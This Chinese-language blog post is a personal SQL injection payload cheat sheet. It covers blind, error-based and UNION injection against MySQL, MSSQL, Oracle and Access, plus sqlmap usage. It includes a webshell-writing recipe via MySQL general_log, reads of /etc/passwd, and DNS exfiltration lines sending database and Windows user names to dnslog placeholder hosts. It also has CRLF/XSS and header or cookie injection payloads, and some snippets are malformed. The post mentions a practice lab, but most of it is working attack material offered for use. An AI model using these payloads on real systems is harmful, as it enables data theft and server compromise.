SQLI

开源项目

https://github.com/payloadbox/sql-injection-payload-list

 

mysql+mybaits

id; select 1 --

 

 

 

站库分离判断

MSSQL

select host_name();  --客户端主机名
select @@servername; --服务端主机名

数据库判断

ACCESS和SQLServer

[Host]?[par]=[Num] and (select count(*) from sysobjects)>0 
[Host]?[par]=[Num] and (select count(*) from msysobjects)>0 

.net站点

MSSQL  System.Data.SqlClient
Oracle  System.Data.OracleClient
MySql  MySql.Data.MySqlClient

Mysql数据库

SQLI检测
" --双引号
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

username=admin --admin账号在数据库中存在
password=1' and (sleep * from (select(sleep(5)))    
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
    if($row)
    {
          //echo '<font color= "#0000ff">';    
        $row1 = $row['username'];      
        //echo 'Your Login name:'. $row1;
        $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
        mysql_query($update);
          echo "<br>";



and sleep()/or sleep()

or 1=1/or 1=2

 

par=2 like 2/par=2 like 3

 

and version()

 

 

and ifxxx sleep

 

 

 


'
and 1=1 和 and 1=2
or 1 和 or 0
and if(1,1,0) 和 and if(0,1,0)
and if(null,0,true) 和 and if(nll,0,false)
and sleep(3)
and benchmark(10000000,encode('hello','mom'))
and if(1<2,sleep(3),sleep(1))
like 1=if(1>2,sleep(3),1) 和 like 1=if(1>2,sleep(3),2)
like 1=if(1>2,1,sleep(3)) --延迟注入 - 相当于 like 1=sleep(3) - 页面进入死循环
xor 0 和 xor null
xor if(1,0,1) 和 xor if(1,null,1)
between 1 and sleep(3) --延迟注入 - 页面进入死循环
between 1 and 1 和 between 1 and 2
and if(0.00000000000000001,1,0) 和 and if(0.0000000000000001,0,1)
and 1<>2 和 and 1<>1
and 1=if(1<>2,1,0) 和 and 1=if(1<>2,2,1)
xor 1<>1 和 xor 2<>null
and 1=ifnull(1,0) 和 and 1=ifnull(null,2)
and ifnull(sleep(3),0)
xor ifnull(null,null)
and nullif(sleep(3),sleep(3)) 和 and nullif(sleep(3),sleep(2)) 和 and nullif(sleep(2),0) --相应时间一次为6s,3s,2s
xor space(1) 和 xor space(1)=null
and space(1)=char(32) 和 and space(1)=2
div 1=1 和 div 1=2
div if(1,1,0) 和 div if(1,0,1)
having if(1,1,0) 和 having if(1,0,1)
mod 2=1 和 mod 2=2
mod 2 和 mod 1
mod if(1,2,0) 和 mod if(1,1,0)
like round(1.2) 和 like round(0)
and + case when + sleep
xor case when 1>0 then sleep(3) else sleep(1) end --页面进入死循环
and 'ccc'=0 和 and 'ccc'=1
xor 'ccc' 和 xor null
like elt(1,1) 和 like elt(2,1)
' and (select (load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\aaa')))#
admin' or 'a'='a | admin" | admin' | admin") or ("a")=("a 登录框

数据库长度判断

if(length(database())=num,sleep(4),0)

UNION SELECT

id=1 union select 1,2,database(),4,5,6,7,8,9,10,11,12 from {Table_name}

getshell

outfile

日志备份
set global general_log='ON';set global general_log_file='/var/www/html/web00/phpinfo.php';select '<?php @eval($_POST[1]);?>';

读取服务器信息

select load_file('/etc/passwd');   ssh密码信息

select load_file('/etc/udev/rules.d/70-persistent-net.rules'); 网卡信息

 

 

SQLServer

基于时间
WAITFOR DELAY

数据库用户首字母猜解
Par=[Num]-(asCii(RIGHT(user,1)))
Par=[Num]-(asCii(RIGHT(user,1)))

sqlmap
--is-dba 用户权限判断
--sql-shell 执行数据库命令
--os-shell 执行系统命令 

注入技巧

https://xz.aliyun.com/t/8513

 

Oracle 

布尔盲注
length(SYS_CONTEXT('USERENV','CURRENT_USER'))

dnslog
or utl_http.request('http://'||user||'.xxx.dnslog.cn') = 1

 Access

表名猜解
and exists(select * from [FormName])

时间盲注-XFF-2020/4/17-Payload

X-Forward-For:'and(select 1 from (select(sleep(2)))x)#

报错注入-EXP-2020/410-Payload

%27,1,1,1,(select%20exp(~(select*from(select%20user())x))),1)%3B--%20-

时间盲注-Sleep-20204/11-Payload

select * from user where NAME =(select(1) from (select(sleep(25)))v);

sqlmap跑数据遇到 XSRF-TOKEN

使用 burp macros 绕过

SQL注入语句-登录框

select @@secure_file_priv;  --查看是否可以导入导出,为NUll表示不允许,为空表示允许

load data infile 'c:\\xxx\\xxx\\xxx.txt' into table a;             --mysql3.x读取方法

select * from (select name_const(version(),1))a;   --查看数据库版本

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;   --利用数据库报错信息查看数据库版本

 

concat()

make_set()

lpad()

repeat()

reverse()

export_set()

sleep

注入判断
and sleep(4)

数据库用户名猜测

if(user()='root',sleep(4),sleep(1));

数据库名猜测
if(ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))=113,sleep(1),sleep(4));

dnslog注入

获取计算机名
for /F "delims=\" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
获取用户名
for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info

Cookie注入

直接使用Request获取参数如:SID=Request("ID"),先取Get值,再取Post值,然后取Cookie值

http://www.xxx.com/1.asp?id=123
如果我们只输 http://www.xxx.com/1.asp
时,就不能看到正常的数据,因为没有参数!
我们想知道有没有Cookies问题(也就是有没有Request("XXX")格式问题),
先用IE输入 
http://www.xxx.com/1.asp
加载网页,显示不正常(没有输参数的原因)
之后在IE输入框再输入
javascript:alert(document.cookie="id="+escape("123"));
按回车,你会看到弹出一个对话框 内容是: id=123 
之后,你刷新一个网页,如果正常显示,表示是用
Request("ID") 这样的格式收集数据~~~~,这种格式就可以试Cookies注入
在输入框中输入
javascript:alert(document.cookie="id="+escape("123 and 3=3"));
刷新页面,如果显示正常,可以再试下一步(如果不正常,就有可能也有过滤了)

javascript:alert(document.cookie="id="+escape("123 and 3=4"));刷新一下页面
如果不正常显示,这就表示有注入
View Code

CRLF

工具
https://github.com/MichaelStott/CRLF-Injection-Scanner

类型
(1)注入
-》 重定向攻击 (2)注入 -》 XSS攻击 POC | EXP (1)http://IP:Port%0d%0aSet-Cookie:crlf=true -> 查看 Response -》如果 Set-Cookie字段存在则漏洞存在 (2)/xx/landing?ref=xxx?t=%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%3cscript%3Ealert(9)%3c%2Fscript%3e

SSTI注入

sqlmap.py -d mysql://root:root@127.0.0.1:3306/test --sql-shell

XFF注入

注入判断
X-Forwarded-for: 127.0.0.1 X-Forwarded-for: 127.0.0.1’ X-Forwarded-for: 127.0.0.1' and 1=1# X-Forwarded-for: 127.0.0.1' and 1=2#

 

异或注入

可用于判断过滤
http://xx.xx.86.145:90/index.php?id=1'^(length('union')=5)%23
当union被过滤时1^0 输出id=1
当union没被过滤时 1 ^ 1 输出 id=0
回显 error

 

Par格式问题 . SQLI检测

括号
(1)Par=([Num]) Par=([Str])
) and 1=1 和 ') and 1=1#

SQLI  安全设备绕过方法

大小写转换法    
特殊字符构造法    
编码绕过
拼凑法

 

靶场

https://github.com/Audi-1/sqli-labs  需要php版本低于php5.6

 

参考

union select 1,2,@@version
https://hackerone.com/reports/1046084

 

posted @ 2019-05-22 16:55  7hang  阅读(917)  评论(0编辑  收藏  举报